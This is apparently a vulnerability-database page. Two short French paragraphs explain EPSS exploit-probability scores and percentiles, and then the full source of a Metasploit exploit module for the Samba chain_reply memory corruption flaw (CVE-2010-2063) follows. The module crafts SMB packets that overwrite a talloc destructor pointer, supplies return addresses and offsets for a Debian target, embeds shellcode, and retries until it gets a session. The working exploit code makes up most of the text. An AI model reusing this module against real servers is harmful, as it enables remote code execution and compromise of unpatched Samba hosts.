Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: chain_reply.rb 10238 2010-09-04 02:10:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::SMB include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Samba chain_reply Memory Corruption (Linux x86)', 'Description' => %q{ This exploits a memory corruption vulnerability present in Samba versions prior to 3.3.13. When handling chained response packets, Samba fails to validate the offset value used when building the next part. By setting this value to a number larger than the destination buffer size, an attacker can corrupt memory. Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will cause the header of the input buffer chunk to be corrupted. After close inspection, it appears that 3.0.x versions of Samba are not exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot cause memory to be corrupted in an exploitable way. It is possible to corrupt the heap header of the "InputBuffer", but it didn't seem possible to get the chunk to be processed again prior to process exit. In order to gain code execution, this exploit attempts to overwrite a "talloc chunk" destructor function pointer. This particular module is capable of exploiting the flaw on x86 Linux systems that do not have the nx memory protection. NOTE: It is possible to make exploitation attempts indefinitely since Samba forks for user sessions in the default configuration. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10238 $', 'References' => [ [ 'CVE', '2010-2063' ], [ 'OSVDB', '65518' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ] ], 'Privileged' => true, 'Payload' => { 'Space' => 0x600, 'BadChars' => "", }, 'Platform' => 'linux', 'Targets' => [ [ 'Linux (Debian5 3.2.5-4lenny6)', { 'Offset2' => 0x1fec, 'Bruteforce' => { 'Start' => { 'Ret' => 0x081ed5f2 }, # jmp ecx (smbd bin) 'Stop' => { 'Ret' => 0x081ed5f2 }, 'Step' => 0x300 # not used } } ], [ 'Debugging Target', { 'Offset2' => 0x1fec, 'Bruteforce' => { 'Start' => { 'Ret' => 0xAABBCCDD }, 'Stop' => { 'Ret' => 0xAABBCCDD }, 'Step' => 0x300 } } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 16 2010')) register_options( [ Opt::RPORT(139) ], self.class) end # # Note: this code is duplicated from lib/rex/proto/smb/client.rb # # Authenticate using clear-text passwords # def session_setup_clear_ignore_response(user = '', pass = '', domain = '') data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join(''); pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct self.simple.client.smb_defaults(pkt['Payload']['SMB']) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 pkt['Payload']['SMB'].v['Flags2'] = 0x2001 pkt['Payload']['SMB'].v['WordCount'] = 10 pkt['Payload'].v['AndX'] = 255 pkt['Payload'].v['MaxBuff'] = 0xffdf pkt['Payload'].v['MaxMPX'] = 2 pkt['Payload'].v['VCNum'] = 1 pkt['Payload'].v['PasswordLen'] = pass.length + 1 pkt['Payload'].v['Capabilities'] = 64 pkt['Payload'].v['SessionKey'] = self.simple.client.session_id pkt['Payload'].v['Payload'] = data self.simple.client.smb_send(pkt.to_s) ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) end def brute_exploit(addrs) curr_ret = addrs['Ret'] # Although ecx always points at our buffer, sometimes the heap data gets modified # and nips off the final byte of our 5 byte jump :( # # Solution: try repeatedly until we win. # 50.times{ begin print_status("Trying return address 0x%.8x..." % curr_ret) connect self.simple.client.session_id = rand(31337) #select(nil,nil,nil,2) #puts "press any key"; $stdin.gets # # This allows us to allocate a talloc_chunk after the input buffer. # If doing so fails, we are lost ... # 10.times { session_setup_clear_ignore_response('', '', '') } # We re-use a pointer from the stack and jump back to our original "inbuf" distance = target['Offset2'] - 0x80 jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string tlen = 0xc00 trans = "\x00\x04" + "\x08\x20" + "\xff"+"SMB"+ # SMBlogoffX [0x74].pack('V') + # tc->next, tc->prev jmp_back + ("\x42" * 3) + #("A" * 4) + ("B" * 4) + # tc->parent, tc->child "CCCCDDDD" + # tc->refs, must be zero ("\x00" * 4) + # over writes tc->destructor [addrs['Ret']].pack('V') + "\x00\x00\x00\x00"+ "\xd0\x07\x0c\x00"+ "\xd0\x07\x0c\x00"+ "\x00\x00\x00\x00"+ "\x00\x00\x00\x00"+ "\x00\x00\xd0\x07"+ "\x43\x00\x0c\x00"+ "\x14\x08\x01\x00"+ "\x00\x00\x00\x00"+ "\x00\x00\x00\x00"+ "\x00\x00\x00\x00"+ "\x00\x00\x00\x00"+ "\x00\x00\x00\x00"+ "\x00\x00\x00\x00"+ "\x00\x00\x00\x00"+ "\x00\x00\x90" # We put the shellcode first, since only part of this packet makes it into memory. trans << payload.encoded trans << rand_text(tlen - trans.length) # Set what eventually becomes 'smb_off2' to our unvalidated offset value. smb_off2 = target['Offset2'] trans[39,2] = [smb_off2].pack('v') sock.put(trans) rescue EOFError # nothing rescue => e print_error("#{e}") end handler disconnect # See if we won yet.. select(nil,nil,nil, 1) break if session_created? } end end